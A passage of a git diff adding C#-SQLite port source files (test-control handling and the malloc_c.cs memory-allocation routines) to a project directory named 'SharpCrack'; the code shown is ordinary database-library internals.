PENDING_BYTE; +#if !SQLITE_OMIT_WSD + { + u32 newVal = va_arg( ap, (UInt32)0 ); + if ( newVal != 0 ) + { + if ( sqlite3PendingByte != newVal ) + sqlite3PendingByte = (int)newVal; +#if DEBUG && TCLSH + TCLsqlite3PendingByte.iValue = sqlite3PendingByte; +#endif + PENDING_BYTE = sqlite3PendingByte; + } + } +#endif + break; + } + + /* + ** sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, int X) + ** + ** This action provides a run-time test to see whether or not + ** Debug.Assert() was enabled at compile-time. If X is true and Debug.Assert() + ** is enabled, then the return value is true. If X is true and + ** Debug.Assert() is disabled, then the return value is zero. If X is + ** false and Debug.Assert() is enabled, then the assertion fires and the + ** process aborts. If X is false and Debug.Assert() is disabled, then the + ** return value is zero. + */ + case SQLITE_TESTCTRL_ASSERT: + { + int x = 0; + Debug.Assert( ( x = va_arg( ap, ( Int32 ) 0 ) ) != 0 ); + rc = x; + break; + } + + + /* + ** sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, int X) + ** + ** This action provides a run-time test to see how the ALWAYS and + ** NEVER macros were defined at compile-time. + ** + ** The return value is ALWAYS(X). + ** + ** The recommended test is X==2. If the return value is 2, that means + ** ALWAYS() and NEVER() are both no-op pass-through macros, which is the + ** default setting. If the return value is 1, then ALWAYS() is either + ** hard-coded to true or else it asserts if its argument is false. + ** The first behavior (hard-coded to true) is the case if + ** SQLITE_TESTCTRL_ASSERT shows that Debug.Assert() is disabled and the second + ** behavior (assert if the argument to ALWAYS() is false) is the case if + ** SQLITE_TESTCTRL_ASSERT shows that Debug.Assert() is enabled. + ** + ** The run-time test procedure might look something like this: + ** + ** if( sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, 2)==2 ){ + ** // ALWAYS() and NEVER() are no-op pass-through macros + ** }else if( sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, 1) ){ + ** // ALWAYS(x) asserts that x is true. NEVER(x) asserts x is false. + ** }else{ + ** // ALWAYS(x) is a constant 1. NEVER(x) is a constant 0. + ** } + */ + case SQLITE_TESTCTRL_ALWAYS: + { + int x = va_arg( ap, ( Int32 ) 0 ); + rc = ALWAYS( x ); + break; + } + + /* sqlite3_test_control(SQLITE_TESTCTRL_RESERVE, sqlite3 db, int N) + ** + ** Set the nReserve size to N for the main database on the database + ** connection db. + */ + case SQLITE_TESTCTRL_RESERVE: + { + sqlite3 db = va_arg( ap, (sqlite3)null ); + int x = va_arg( ap, ( Int32 ) 0 ); + sqlite3_mutex_enter( db.mutex ); + sqlite3BtreeSetPageSize( db.aDb[0].pBt, 0, x, 0 ); + sqlite3_mutex_leave( db.mutex ); + break; + } + + /* sqlite3_test_control(SQLITE_TESTCTRL_OPTIMIZATIONS, sqlite3 db, int N) + ** + ** Enable or disable various optimizations for testing purposes. The + ** argument N is a bitmask of optimizations to be disabled. For normal + ** operation N should be 0. The idea is that a test program (like the + ** SQL Logic Test or SLT test module) can run the same SQL multiple times + ** with various optimizations disabled to verify that the same answer + ** is obtained in every case. + */ + case SQLITE_TESTCTRL_OPTIMIZATIONS: + { + sqlite3 db = va_arg( ap, (sqlite3)null );//sqlite3 db = va_arg(ap, sqlite3); + int x = va_arg( ap, (Int32)0 );//int x = va_arg(ap,int); + db.flags = ( x & SQLITE_OptMask ) | ( db.flags & ~SQLITE_OptMask ); + break; + } + + //#if SQLITE_N_KEYWORD + /* sqlite3_test_control(SQLITE_TESTCTRL_ISKEYWORD, const string zWord) + ** + ** If zWord is a keyword recognized by the parser, then return the + ** number of keywords. Or if zWord is not a keyword, return 0. + ** + ** This test feature is only available in the amalgamation since + ** the SQLITE_N_KEYWORD macro is not defined in this file if SQLite + ** is built using separate source files. + */ + case SQLITE_TESTCTRL_ISKEYWORD: + { + string zWord = (string)va_arg( ap, "char*" ); + int n = sqlite3Strlen30( zWord ); + rc = ( sqlite3KeywordCode( zWord, n ) != TK_ID ) ? SQLITE_N_KEYWORD : 0; + break; + } + //#endif + /* sqlite3_test_control(SQLITE_TESTCTRL_PGHDRSZ) + ** + ** Return the size of a pcache header in bytes. + */ + case SQLITE_TESTCTRL_PGHDRSZ: + { + rc = -1;// sizeof(PgHdr); + break; + } + + /* sqlite3_test_control(SQLITE_TESTCTRL_SCRATCHMALLOC, sz, &pNew, pFree); + ** + ** Pass pFree into sqlite3ScratchFree(). + ** If sz>0 then allocate a scratch buffer into pNew. + */ + case SQLITE_TESTCTRL_SCRATCHMALLOC: + { + //void pFree, *ppNew; + //int sz; + //sz = va_arg(ap, int); + //ppNew = va_arg(ap, void*); + //pFree = va_arg(ap, void); + //if( sz ) *ppNew = sqlite3ScratchMalloc(sz); + //sqlite3ScratchFree(pFree); + break; + } + /* sqlite3_test_control(SQLITE_TESTCTRL_LOCALTIME_FAULT, int onoff); + ** + ** If parameter onoff is non-zero, configure the wrappers so that all + ** subsequent calls to localtime() and variants fail. If onoff is zero, + ** undo this setting. + */ + case SQLITE_TESTCTRL_LOCALTIME_FAULT: { + sqlite3GlobalConfig.bLocaltimeFault = va_arg( ap, (Boolean)true ); + break; + } + + } + va_end( ref ap ); + } +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + return rc; + } + + +/* +** This is a utility routine, useful to VFS implementations, that checks +** to see if a database file was a URI that contained a specific query +** parameter, and if so obtains the value of the query parameter. +** +** The zFilename argument is the filename pointer passed into the xOpen() +** method of a VFS implementation. The zParam argument is the name of the +** query parameter we seek. This routine returns the value of the zParam +** parameter if it exists. If the parameter does not exist, this routine +** returns a NULL pointer. +*/ +static string sqlite3_uri_parameter(string zFilename, string zParam){ + Debugger.Break(); + //zFilename += sqlite3Strlen30(zFilename) + 1; + //while( zFilename[0] ){ + // int x = strcmp(zFilename, zParam); + // zFilename += sqlite3Strlen30(zFilename) + 1; + // if( x==0 ) return zFilename; + // zFilename += sqlite3Strlen30(zFilename) + 1; + //} + return null; +} + +} +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/malloc_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/malloc_c.cs new file mode 100644 index 0000000..4b2a855 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/malloc_c.cs @@ -0,0 +1,1116 @@ +using System.Diagnostics; +using System.Text; + +namespace Community.CsharpSqlite +{ + using sqlite3_int64 = System.Int64; + using i64 = System.Int64; + using sqlite3_uint64 = System.UInt64; + using u32 = System.UInt32; + using System; + + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** Memory allocation functions used throughout sqlite. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + + /* + ** Attempt to release up to n bytes of non-essential memory currently + ** held by SQLite. An example of non-essential memory is memory used to + ** cache database pages that are not currently in use. + */ + static int sqlite3_release_memory( int n ) + { +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +int nRet = 0; +nRet += sqlite3PcacheReleaseMemory(n-nRet); +return nRet; +#else + UNUSED_PARAMETER( n ); + return SQLITE_OK; +#endif + } + + /* + ** State information local to the memory allocation subsystem. + */ + //static SQLITE_WSD struct Mem0Global { + public class Mem0Global + {/* Number of free pages for scratch and page-cache memory */ + public int nScratchFree; + public int nPageFree; + + public sqlite3_mutex mutex; /* Mutex to serialize access */ + + /* + ** The alarm callback and its arguments. The mem0.mutex lock will + ** be held while the callback is running. Recursive calls into + ** the memory subsystem are allowed, but no new callbacks will be + ** issued. + */ + public sqlite3_int64 alarmThreshold; + public dxalarmCallback alarmCallback; // (*alarmCallback)(void*, sqlite3_int64,int); + public object alarmArg; + + /* + ** Pointers to the end of sqlite3GlobalConfig.pScratch and + ** sqlite3GlobalConfig.pPage to a block of memory that records + ** which pages are available. + */ + //u32 *aScratchFree; + /* + ** True if heap is nearly "full" where "full" is defined by the + ** sqlite3_soft_heap_limit() setting. + */ + public bool nearlyFull; + + public byte[][][] aByte; + public int[] aByteSize; + public int[] aByte_used; + public int[][] aInt; + public Mem[] aMem; + public BtCursor[] aBtCursor; + + public struct memstat + { + public int alloc; // # of allocation requests + public int dealloc; // # of deallocations + public int cached; // # of cache hits + public int next; // # Next slot to use + public int max; // # Max slot used + } + + public memstat msByte; + public memstat msInt; + public memstat msMem; + public memstat msBtCursor; + + public Mem0Global() + { + } + + public Mem0Global( int nScratchFree, int nPageFree, sqlite3_mutex mutex, sqlite3_int64 alarmThreshold, dxalarmCallback alarmCallback, object alarmArg, int Byte_Allocation, int Int_Allocation, int Mem_Allocation, int BtCursor_Allocation ) + { + this.nScratchFree = nScratchFree; + this.nPageFree = nPageFree; + this.mutex = mutex; + this.alarmThreshold = alarmThreshold; + this.alarmCallback = alarmCallback; + this.alarmArg = alarmArg; + this.msByte.next = -1; + this.msInt.next = -1; + this.msMem.next = -1; + this.aByteSize = new int[] { 32, 256, 1024, 8192, 0 }; + this.aByte_used = new int[] { -1, -1, -1, -1, -1 }; + this.aByte = new byte[this.aByteSize.Length][][]; + for ( int i = 0; i < this.aByteSize.Length; i++ ) + this.aByte[i] = new byte[Byte_Allocation][]; + this.aInt = new int[Int_Allocation][]; + this.aMem = new Mem[Mem_Allocation <= 4 ? 4 : Mem_Allocation]; + this.aBtCursor = new BtCursor[BtCursor_Allocation <= 4 ? 4 : BtCursor_Allocation]; + this.nearlyFull = false; + } + } + //mem0 = { 0, 0, 0, 0, 0, 0, 0, 0 }; + + //#define mem0 GLOBAL(struct Mem0Global, mem0) + static Mem0Global mem0 = new Mem0Global(); + + /* + ** This routine runs when the memory allocator sees that the + ** total memory allocation is about to exceed the soft heap + ** limit. + */ + static void softHeapLimitEnforcer( + object NotUsed, + sqlite3_int64 NotUsed2, + int allocSize + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_release_memory( allocSize ); + } + +//#if !SQLITE_OMIT_DEPRECATED +#if NOT_SQLITE_OMIT_DEPRECATED +/* +** Deprecated external interface. Internal/core SQLite code +** should call sqlite3MemoryAlarm. +*/ +int sqlite3_memory_alarm( +void(*xCallback)(void *pArg, sqlite3_int64 used,int N), +void *pArg, +sqlite3_int64 iThreshold +){ +return sqlite3MemoryAlarm(xCallback, pArg, iThreshold); +} +#endif + + /* +** Set the soft heap-size limit for the library. Passing a zero or +** negative value indicates no limit. +*/ + static sqlite3_int64 sqlite3_soft_heap_limit64( sqlite3_int64 n ) + { + sqlite3_int64 priorLimit; + sqlite3_int64 excess; +#if !SQLITE_OMIT_AUTOINIT + sqlite3_initialize(); +#endif + sqlite3_mutex_enter( mem0.mutex ); + priorLimit = mem0.alarmThreshold; + sqlite3_mutex_leave( mem0.mutex ); + if ( n < 0 ) + return priorLimit; + if ( n > 0 ) + { + sqlite3MemoryAlarm( softHeapLimitEnforcer, 0, n ); + } + else + { + sqlite3MemoryAlarm( null, 0, 0 ); + } + excess = sqlite3_memory_used() - n; + if ( excess > 0 ) + sqlite3_release_memory( (int)( excess & 0x7fffffff ) ); + return priorLimit; + } + void sqlite3_soft_heap_limit( int n ) + { + if ( n < 0 ) + n = 0; + sqlite3_soft_heap_limit64( n ); + } + + /* + ** Initialize the memory allocation subsystem. + */ + static int sqlite3MallocInit() + { + if ( sqlite3GlobalConfig.m.xMalloc == null ) + { + sqlite3MemSetDefault(); + } + mem0 = new Mem0Global( 0, 0, null, 0, null, null, 1, 1, 8, 8 ); //memset(&mem0, 0, sizeof(mem0)); + if ( sqlite3GlobalConfig.bCoreMutex ) + { + mem0.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MEM ); + } + if ( sqlite3GlobalConfig.pScratch != null && sqlite3GlobalConfig.szScratch >= 100 + && sqlite3GlobalConfig.nScratch >= 0 ) + { + int i; + sqlite3GlobalConfig.szScratch = ROUNDDOWN8( sqlite3GlobalConfig.szScratch - 4 ); + //mem0.aScratchFree = (u32)&((char)sqlite3GlobalConfig.pScratch) + // [sqlite3GlobalConfig.szScratch*sqlite3GlobalConfig.nScratch]; + //for(i=0; i 0 && iThreshold <= nUsed ); + sqlite3_mutex_leave( mem0.mutex ); + return SQLITE_OK; + } + + /* + ** Trigger the alarm + */ + static void sqlite3MallocAlarm( int nByte ) + { + dxalarmCallback xCallback;//void (*xCallback)(void*,sqlite3_int64,int); + sqlite3_int64 nowUsed; + object pArg;// void* pArg; + if ( mem0.alarmCallback == null ) + return; + xCallback = mem0.alarmCallback; + nowUsed = sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ); + pArg = mem0.alarmArg; + mem0.alarmCallback = null; + sqlite3_mutex_leave( mem0.mutex ); + xCallback( pArg, nowUsed, nByte ); + sqlite3_mutex_enter( mem0.mutex ); + mem0.alarmCallback = xCallback; + mem0.alarmArg = pArg; + } + + /* + ** Do a memory allocation with statistics and alarms. Assume the + ** lock is already held. + */ + static int mallocWithAlarm( int n, ref int[] pp ) + { + int nFull; + int[] p; + Debug.Assert( sqlite3_mutex_held( mem0.mutex ) ); + nFull = sqlite3GlobalConfig.m.xRoundup( n ); + sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, n ); + if ( mem0.alarmCallback != null ) + { + int nUsed = sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ); + if ( nUsed >= mem0.alarmThreshold - nFull ) + { + mem0.nearlyFull = true; + sqlite3MallocAlarm( nFull ); + } + else + { + mem0.nearlyFull = false; + } + } + p = sqlite3GlobalConfig.m.xMallocInt( nFull ); +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +if( p==null && mem0.alarmCallback!=null ){ +sqlite3MallocAlarm(nFull); +p = sqlite3GlobalConfig.m.xMalloc(nFull); +} +#endif + if ( p != null ) + { + nFull = sqlite3MallocSize( p ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nFull ); + } + pp = p; + return nFull; + } + static int mallocWithAlarm( int n, ref byte[] pp ) + { + int nFull; + byte[] p; + Debug.Assert( sqlite3_mutex_held( mem0.mutex ) ); + nFull = sqlite3GlobalConfig.m.xRoundup( n ); + sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, n ); + if ( mem0.alarmCallback != null ) + { + int nUsed = sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ); + if ( nUsed + nFull >= mem0.alarmThreshold ) + { + sqlite3MallocAlarm( nFull ); + } + } + p = sqlite3GlobalConfig.m.xMalloc( nFull ); + if ( p == null && mem0.alarmCallback != null ) + { + sqlite3MallocAlarm( nFull ); + p = sqlite3GlobalConfig.m.xMalloc( nFull ); + } + if ( p != null ) + { + nFull = sqlite3MallocSize( p ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nFull ); + sqlite3StatusAdd( SQLITE_STATUS_MALLOC_COUNT, 1 ); + } + pp = p; + return nFull; + } + + /* + ** Allocate memory. This routine is like sqlite3_malloc() except that it + ** assumes the memory subsystem has already been initialized. + */ + static Mem sqlite3Malloc( Mem pMem ) + { + return sqlite3GlobalConfig.m.xMallocMem( pMem ); + } + static int[] sqlite3Malloc( int[] pInt, u32 n ) + { + return sqlite3Malloc( pInt, (int)n ); + } + + static int[] sqlite3Malloc( int[] pInt, int n ) + { + int[] p = null; + if ( n < 0 || n >= 0x7fffff00 ) + { + /* A memory allocation of a number of bytes which is near the maximum + ** signed integer value might cause an integer overflow inside of the + ** xMalloc(). Hence we limit the maximum size to 0x7fffff00, giving + ** 255 bytes of overhead. SQLite itself will never use anything near + ** this amount. The only way to reach the limit is with sqlite3_malloc() */ + p = null; + } + else if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + mallocWithAlarm( n, ref p ); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + p = sqlite3GlobalConfig.m.xMallocInt( n ); + } + return p; + } + + static byte[] sqlite3Malloc( u32 n ) + { + return sqlite3Malloc( (int)n ); + } + static byte[] sqlite3Malloc( int n ) + { + byte[] p = null; + if ( n < 0 || n >= 0x7fffff00 ) + { + /* A memory allocation of a number of bytes which is near the maximum + ** signed integer value might cause an integer overflow inside of the + ** xMalloc(). Hence we limit the maximum size to 0x7fffff00, giving + ** 255 bytes of overhead. SQLite itself will never use anything near + ** this amount. The only way to reach the limit is with sqlite3_malloc() */ + p = null; + } + else if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + mallocWithAlarm( n, ref p ); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + p = sqlite3GlobalConfig.m.xMalloc( n ); + } + return p; + } + + /* + ** This version of the memory allocation is for use by the application. + ** First make sure the memory subsystem is initialized, then do the + ** allocation. + */ + static byte[] sqlite3_malloc( int n ) + { +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) + return null; +#endif + return sqlite3Malloc( n ); + } + + /* + ** Each thread may only have a single outstanding allocation from + ** xScratchMalloc(). We verify this constraint in the single-threaded + ** case by setting scratchAllocOut to 1 when an allocation + ** is outstanding clearing it when the allocation is freed. + */ +#if SQLITE_THREADSAFE && !(NDEBUG) + static int scratchAllocOut = 0; +#endif + + + /* +** Allocate memory that is to be used and released right away. +** This routine is similar to alloca() in that it is not intended +** for situations where the memory might be held long-term. This +** routine is intended to get memory to old large transient data +** structures that would not normally fit on the stack of an +** embedded processor. +*/ + static byte[][] sqlite3ScratchMalloc( byte[][] apCell, int n ) + { + apCell = sqlite3GlobalConfig.pScratch2; + if ( apCell == null ) + apCell = new byte[n < 200 ? 200 : n][]; + else if ( apCell.Length < n ) + Array.Resize( ref apCell, n ); + sqlite3GlobalConfig.pScratch2 = null; + return apCell; + } + + static byte[] sqlite3ScratchMalloc( int n ) + { + byte[] p = null; + Debug.Assert( n > 0 ); + +#if SQLITE_THREADSAFE && !(NDEBUG) + /* Verify that no more than two scratch allocation per thread +** is outstanding at one time. (This is only checked in the +** single-threaded case since checking in the multi-threaded case +** would be much more complicated.) */ + Debug.Assert( scratchAllocOut <= 1 ); +#endif + + if ( sqlite3GlobalConfig.szScratch < n ) + { + goto scratch_overflow; + } + else + { + sqlite3_mutex_enter( mem0.mutex ); + if ( mem0.nScratchFree == 0 ) + { + sqlite3_mutex_leave( mem0.mutex ); + goto scratch_overflow; + } + else + { + int i; + //i = mem0.aScratchFree[--mem0.nScratchFree]; + //i *= sqlite3GlobalConfig.szScratch; + for ( i = 0; i < sqlite3GlobalConfig.pScratch.Length; i++ ) + { + if ( sqlite3GlobalConfig.pScratch[i] == null || sqlite3GlobalConfig.pScratch[i].Length < n ) + continue; + p = sqlite3GlobalConfig.pScratch[i];// (void)&((char)sqlite3GlobalConfig.pScratch)[i]; + sqlite3GlobalConfig.pScratch[i] = null; + break; + } + sqlite3_mutex_leave( mem0.mutex ); + if ( p == null ) + goto scratch_overflow; + sqlite3StatusAdd( SQLITE_STATUS_SCRATCH_USED, 1 ); + sqlite3StatusSet( SQLITE_STATUS_SCRATCH_SIZE, n ); + //Debug.Assert( (((u8)p - (u8)0) & 7)==0 ); + } + } +#if SQLITE_THREADSAFE && !(NDEBUG) + scratchAllocOut = ( p != null ? 1 : 0 ); +#endif + + return p; + +scratch_overflow: + if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + sqlite3StatusSet( SQLITE_STATUS_SCRATCH_SIZE, n ); + n = mallocWithAlarm( n, ref p ); + if ( p != null ) + sqlite3StatusAdd( SQLITE_STATUS_SCRATCH_OVERFLOW, n ); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + p = sqlite3GlobalConfig.m.xMalloc( n ); + } + sqlite3MemdebugSetType( p, MEMTYPE_SCRATCH ); +#if SQLITE_THREADSAFE && !(NDEBUG) + scratchAllocOut = ( p != null ) ? 1 : 0; +#endif + return p; + } + static void sqlite3ScratchFree( byte[][] p ) + { + if ( p != null ) + { + + if ( sqlite3GlobalConfig.pScratch2 == null || sqlite3GlobalConfig.pScratch2.Length < p.Length ) + { + Debug.Assert( sqlite3MemdebugHasType( p, MEMTYPE_SCRATCH ) ); + Debug.Assert( sqlite3MemdebugNoType( p, ~MEMTYPE_SCRATCH ) ); + sqlite3MemdebugSetType( p, MEMTYPE_HEAP ); + if ( sqlite3GlobalConfig.bMemstat ) + { + int iSize = sqlite3MallocSize( p ); + sqlite3_mutex_enter( mem0.mutex ); + sqlite3StatusAdd( SQLITE_STATUS_SCRATCH_OVERFLOW, -iSize ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, -iSize ); + sqlite3StatusAdd( SQLITE_STATUS_MALLOC_COUNT, -1 ); + sqlite3GlobalConfig.pScratch2 = p;// sqlite3GlobalConfig.m.xFree(ref p); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + sqlite3GlobalConfig.pScratch2 = p;//sqlite3GlobalConfig.m.xFree(ref p); + } + } + else // larger Scratch 2 already in use, let the C# GC handle + { + //int i; + //i = (int)((u8)p - (u8)sqlite3GlobalConfig.pScratch); + //i /= sqlite3GlobalConfig.szScratch; + //Debug.Assert(i >= 0 && i < sqlite3GlobalConfig.nScratch); + //sqlite3_mutex_enter(mem0.mutex); + //Debug.Assert(mem0.nScratchFree < (u32)sqlite3GlobalConfig.nScratch); + //mem0.aScratchFree[mem0.nScratchFree++] = i; + //sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, -1); + //sqlite3_mutex_leave(mem0.mutex); +#if SQLITE_THREADSAFE && !(NDEBUG) + /* Verify that no more than two scratch allocation per thread +** is outstanding at one time. (This is only checked in the +** single-threaded case since checking in the multi-threaded case +** would be much more complicated.) */ + Debug.Assert( scratchAllocOut >= 1 && scratchAllocOut <= 2 ); + scratchAllocOut = 0; +#endif + } + //if( p>=sqlite3GlobalConfig.pScratch && ppNext = mem0.pScratchFree; + // mem0.pScratchFree = pSlot; + // mem0.nScratchFree++; + // Debug.Assert( mem0.nScratchFree <= (u32)sqlite3GlobalConfig.nScratch ); + // sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, -1); + // sqlite3_mutex_leave(mem0.mutex); + //}else{ + // /* Release memory back to the heap */ + // Debug.Assert( sqlite3MemdebugHasType(p, MEMTYPE_SCRATCH) ); + // Debug.Assert( sqlite3MemdebugNoType(p, ~MEMTYPE_SCRATCH) ); + // sqlite3MemdebugSetType(p, MEMTYPE_HEAP); + // if( sqlite3GlobalConfig.bMemstat ){ + // int iSize = sqlite3MallocSize(p); + // sqlite3_mutex_enter(mem0.mutex); + // sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_OVERFLOW, -iSize); + // sqlite3StatusAdd(SQLITE_STATUS_MEMORY_USED, -iSize); + // sqlite3StatusAdd(SQLITE_STATUS_MALLOC_COUNT, -1); + // sqlite3GlobalConfig.m.xFree(p); + // sqlite3_mutex_leave(mem0.mutex); + // }else{ + // sqlite3GlobalConfig.m.xFree(p); + // } + p = null; + } + } + + /* + ** TRUE if p is a lookaside memory allocation from db + */ +#if NO_SQLITE_OMIT_LOOKASIDE //#if !SQLITE_OMIT_LOOKASIDE +static int isLookaside(sqlite3 db, object *p){ +return p && p>=db.lookaside.pStart && p= 0x7fffff00 ) + { + /* The 0x7ffff00 limit term is explained in comments on sqlite3Malloc() */ + return null; + } + nOld = sqlite3MallocSize( pOld ); + nNew = sqlite3GlobalConfig.m.xRoundup( nBytes ); + if ( nOld == nNew ) + { + pNew = pOld; + } + else if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, nBytes ); + nDiff = nNew - nOld; + if ( sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ) >= + mem0.alarmThreshold - nDiff ) + { + sqlite3MallocAlarm( nDiff ); + } + Debug.Assert( sqlite3MemdebugHasType( pOld, MEMTYPE_HEAP ) ); + Debug.Assert( sqlite3MemdebugNoType( pOld, ~MEMTYPE_HEAP ) ); + pNew = sqlite3GlobalConfig.m.xRealloc( pOld, nNew ); + if ( pNew == null && mem0.alarmCallback != null ) + { + sqlite3MallocAlarm( nBytes ); + pNew = sqlite3GlobalConfig.m.xRealloc( pOld, nNew ); + } + if ( pNew != null ) + { + nNew = sqlite3MallocSize( pNew ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nNew - nOld ); + } + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + pNew = sqlite3GlobalConfig.m.xRealloc( pOld, nNew ); + } + return pNew; + } + + /* + ** The public interface to sqlite3Realloc. Make sure that the memory + ** subsystem is initialized prior to invoking sqliteRealloc. + */ + static byte[] sqlite3_realloc( byte[] pOld, int n ) + { +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) + return null; +#endif + return sqlite3Realloc( pOld, n ); + } + + + /* + ** Allocate and zero memory. + */ + static byte[] sqlite3MallocZero( int n ) + { + byte[] p = sqlite3Malloc( n ); + if ( p != null ) + { + Array.Clear( p, 0, n );// memset(p, 0, n); + } + return p; + } + + /* + ** Allocate and zero memory. If the allocation fails, make + ** the mallocFailed flag in the connection pointer. + */ + static Mem sqlite3DbMallocZero( sqlite3 db, Mem m ) + { + return new Mem(); + } + + static byte[] sqlite3DbMallocZero( sqlite3 db, int n ) + { + byte[] p = sqlite3DbMallocRaw( db, n ); + if ( p != null ) + { + Array.Clear( p, 0, n );// memset(p, 0, n); + } + return p; + } + + /* + ** Allocate and zero memory. If the allocation fails, make + ** the mallocFailed flag in the connection pointer. + ** + ** If db!=0 and db->mallocFailed is true (indicating a prior malloc + ** failure on the same database connection) then always return 0. + ** Hence for a particular database connection, once malloc starts + ** failing, it fails consistently until mallocFailed is reset. + ** This is an important assumption. There are many places in the + ** code that do things like this: + ** + ** int *a = (int)sqlite3DbMallocRaw(db, 100); + ** int *b = (int)sqlite3DbMallocRaw(db, 200); + ** if( b ) a[10] = 9; + ** + ** In other words, if a subsequent malloc (ex: "b") worked, it is assumed + ** that all prior mallocs (ex: "a") worked too. + */ + static byte[] sqlite3DbMallocRaw( sqlite3 db, int n ) + { + byte[] p; + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + Debug.Assert( db == null || db.pnBytesFreed == 0 ); +#if NO_SQLITE_OMIT_LOOKASIDE //#if !SQLITE_OMIT_LOOKASIDE +if( db ){ +LookasideSlot *pBuf; +if( db->mallocFailed ){ +return 0; +} +if( db->lookaside.bEnabled ){ +if( n>db->lookaside.sz ){ +db->lookaside.anStat[1]++; +}else if( (pBuf = db->lookaside.pFree)==0 ){ +db->lookaside.anStat[2]++; +}else{ +db->lookaside.pFree = pBuf->pNext; +db->lookaside.nOut++; +db->lookaside.anStat[0]++; +if( db->lookaside.nOut>db->lookaside.mxOut ){ +db->lookaside.mxOut = db->lookaside.nOut; +} +return (void)pBuf; +} +} +} +#else + //if( db && db->mallocFailed ){ + // return 0; + //} +#endif + p = sqlite3Malloc( n ); + //if( null==p && db ){ + // db->mallocFailed = 1; + //} +#if NO_SQLITE_OMIT_LOOKASIDE //#if !SQLITE_OMIT_LOOKASIDE +sqlite3MemdebugSetType(p, MEMTYPE_DB | +((db !=null && db.lookaside.bEnabled) ? MEMTYPE_LOOKASIDE : MEMTYPE_HEAP)); +#endif + return p; + } + + /* + ** Resize the block of memory pointed to by p to n bytes. If the + ** resize fails, set the mallocFailed flag in the connection object. + */ + static byte[] sqlite3DbRealloc( sqlite3 db, byte[] p, int n ) + { + byte[] pNew = null; + Debug.Assert( db != null ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + //if( db->mallocFailed==0 ){ + if ( p == null ) + { + return sqlite3DbMallocRaw( db, n ); + } +#if NO_SQLITE_OMIT_LOOKASIDE //#if !SQLITE_OMIT_LOOKASIDE +if( isLookaside(db, p) ){ +if( n<=db->lookaside.sz ){ +return p; +} +pNew = sqlite3DbMallocRaw(db, n); +if( pNew ){ +memcpy(pNew, p, db->lookaside.sz); +sqlite3DbFree(db, ref p); +} +}else +#else + { + { +#endif + Debug.Assert( sqlite3MemdebugHasType( p, MEMTYPE_DB ) ); + Debug.Assert( sqlite3MemdebugHasType( p, MEMTYPE_LOOKASIDE | MEMTYPE_HEAP ) ); + sqlite3MemdebugSetType( p, MEMTYPE_HEAP ); + pNew = sqlite3_realloc( p, n ); + //if( null==pNew ){ + //sqlite3MemdebugSetType(p, MEMTYPE_DB|MEMTYPE_HEAP); + // db->mallocFailed = 1; + //} +#if NO_SQLITE_OMIT_LOOKASIDE //#if !SQLITE_OMIT_LOOKASIDE +sqlite3MemdebugSetType(pNew, MEMTYPE_DB | +(db.lookaside.bEnabled ? MEMTYPE_LOOKASIDE : MEMTYPE_HEAP)); +#endif + } + } + return pNew; + } + + /* + ** Attempt to reallocate p. If the reallocation fails, then free p + ** and set the mallocFailed flag in the database connection. + */ + static byte[] sqlite3DbReallocOrFree( sqlite3 db, byte[] p, int n ) + { + byte[] pNew; + pNew = sqlite3DbRealloc( db, p, n ); + if ( null == pNew ) + { + sqlite3DbFree( db, ref p ); + } + return pNew; + } + + /* + ** Make a copy of a string in memory obtained from sqliteMalloc(). These + ** functions call sqlite3MallocRaw() directly instead of sqliteMalloc(). This + ** is because when memory debugging is turned on, these two functions are + ** called via macros that record the current file and line number in the + ** ThreadData structure. + */ + //char *sqlite3DbStrDup(sqlite3 db, string z){ + // string zNew; + // size_t n; + // if( z==0 